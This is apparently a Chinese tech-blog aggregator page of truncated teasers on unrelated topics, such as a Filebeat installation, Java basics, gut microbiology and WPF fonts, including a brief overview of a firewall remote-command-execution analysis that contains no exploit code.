filebeat版本&#xff1a;filebeat-7.10.0 版本&#xff1a;filebeat-7.10.0-linux-x86_64.tar.gz filebeat7.10上传日志到ES7.14 1、下载filebeat wget https://artifacts.elastic.co/downloads/beats/filebeat/filebeat-7.10.0-linux-x86_64.tar.gz 2、安装filebeat ta…

从果蔬到乳制品,探索食品微生物对肠道健康的影响

谷禾健康 俗话说病从口入&#xff0c;饮食对人体具有重要的影响&#xff0c;蔬菜和水果作为每日饮食中必不可少的成分&#xff0c;为人类提供了重要的营养物质&#xff0c;包括各种必需的维生素和矿物质。 此外&#xff0c;蔬菜和水果上栖息着数量惊人的微生物&#xff0c;高度…

ASO优化之通过页面的优化来提升排名

应用商店优化是一个持续优化应用列表的过程&#xff0c;从而让我们的应用更容易被目标受众发现。通过实施ASO&#xff0c;我们可以在竞争激烈的应用市场中有效竞争&#xff0c;并为我们的应用带来自然流量。 1、添加关键词。 进行关键词研究&#xff0c;从而确定与应用程序功能…

【JavaSE语法】数据类型与变量

一、字面常量 常量即程序运行期间&#xff0c;固定不变,不可修改的量称为常量 public class Demo {public static void main(String[] args) {System.out.println("hello World!");System.out.println(100);System.out.println(3.14);System.out.println(A);System…

【欧拉函数】CF1731E

Problem - E - Codeforces 题意 思路 对于 k 次操作&#xff0c;gcd(u, v) k 1&#xff0c;代价的贡献就是二元组 (u, v)的个数 * (k 1) 那么就要我们求二元组个数 这个是个很经典的欧拉函数的套路&#xff0c;可以用线性筛把欧拉函数求出来&#xff0c;然后求个前缀和 …

动手学深度学习——第四次

梯度下降是在机器学习中用于寻找最佳结果&#xff08;即曲线最小值&#xff09;的一种迭代优化算法。 最小化loss&#xff0c;只需要将参数沿着梯度相反的方向前进一个步长&#xff0c;就可以实现目标函数&#xff08;loss function&#xff09;的下降。这个步长 η \etaη 又称…

在antd里面渲染MarkDown并且自定义一个锚点目录TOC(重点解决导航目录不跟随文档滚动的问题)

一、整体思路 由于有很多很长的文档需要渲染&#xff0c;我觉得用MarkDown的方式会比较适合管理&#xff0c;所以这两天测试了一下在antd里面集成MarkDown的渲染模块。 总体思路参考&#xff1a; https://blog.csdn.net/Sakuraaaa_/article/details/128400497 感恩大佬的倾情付…

技术分享 | 某下一代防火墙远程命令执行漏洞分析及防护绕过

0x01 概述 最近&#xff0c;某下一代防火墙曝光了远程代码执行漏洞。此漏洞通过绕过身份认证和注入 cookie 的方式来执行系统命令&#xff0c;公开的利用方式受到诸多限制且命令执行无回显&#xff0c;并且当目标机器不出网时&#xff0c;该漏洞利用方式便无法发挥作用&#x…

C语言——有 15 个数按由大到小顺序存放在一个数组中,输入一个数,要求用折半查找法找出该数是数组中第几个元素的值。如果该数不在数组中,则输出“无此数”

完整代码&#xff1a; /* 有 15 个数按由大到小顺序存放在一个数组中&#xff0c;输入一个数&#xff0c;要求用折半查找法找出 该数是数组中第几个元素的值。如果该数不在数组中&#xff0c;则输出“无此数”。*/ #include<stdio.h>//折半查找法&#xff0c;n是查找的那…

超宽带技术在汽车领域的应用

随着科技的不断发展&#xff0c;超宽带&#xff08;Ultra-Wideband, UWB&#xff09;技术在各个领域展现出了强大的潜力&#xff0c;其中汽车领域更是受益匪浅。UWB技术以其高精度的定位能力、高速的数据传输和低功耗的特点&#xff0c;为汽车行业带来了许多创新。本文将探讨UW…

在Python的虚拟环境中卸载eric6的方法

问题描述 之前在电脑的Python虚拟环境中安装了PyQt5及相应的界面设计器eric6。当时安装eric6后&#xff0c;没成功运行&#xff0c;提示少一个什么系统文件。我已在旁边的台式机上安装了较新版的PyQt6&#xff0c;决定不再用老版本的eric6&#xff0c;于是我需在笔记本电脑上卸…

C#WPF嵌入字体实例

本文介绍C#WPF嵌入字体实例。 首先创建项目 添加Resources文件夹,添加字体文件,字体文件属性:生成操作为Resources,复制到输出目录:不复制 字体的使用可以采用以下两种方法: 方式一 直接引用 FontFamily="./Resources/#幼圆" 方式二 定义资源 <Applica…

微信小程序:js处理一段文字,根据句号或者分号进行换行

一、根据句号和分号进行换行 效果 代码 wxml <view><text>{{remark}}</text> </view> js 核心代码 var repalce_remark remark.replace(/[&#xff1b;。]/g, "$&\n"); // 使用正则表达式进行替换 remark 是待替换的字符串。/[&am…

APP移动出海必备神器,MobPush提供海外消息智能推送一站式解决方案

随着国内移动应用市场的趋于饱和&#xff0c;海外新兴市场成为越来越多移动应用开发者的进一步提升APP市场占有率的不二之选。据统计&#xff0c;中国应用开发者中有79.1%计划出海。但如何利用消息推送实现与用户的深度绑定仍然存在较为一定问题。在国外&#xff0c;应用开发者…

深度学习:激活函数曲线总结

深度学习&#xff1a;激活函数曲线总结 在深度学习中有很多时候需要利用激活函数进行非线性处理&#xff0c;在搭建网路的时候也是非常重要的&#xff0c;为了更好的理解不同的激活函数的区别和差异&#xff0c;在这里做一个简单的总结&#xff0c;在pytorch中常用的激活函数的…

如何使用爬虫做一个网站

​ 大家如果有兴趣做网站&#xff0c;在买了VPS&#xff0c;部署了wordpress&#xff0c;配置LNMP环境&#xff0c;折腾一番却发现内容提供是一个大问题&#xff0c;往往会在建站的大&#xff08;da&#xff09;道&#xff08;keng&#xff09;上泄气 &#xff0c;别怕&#xf…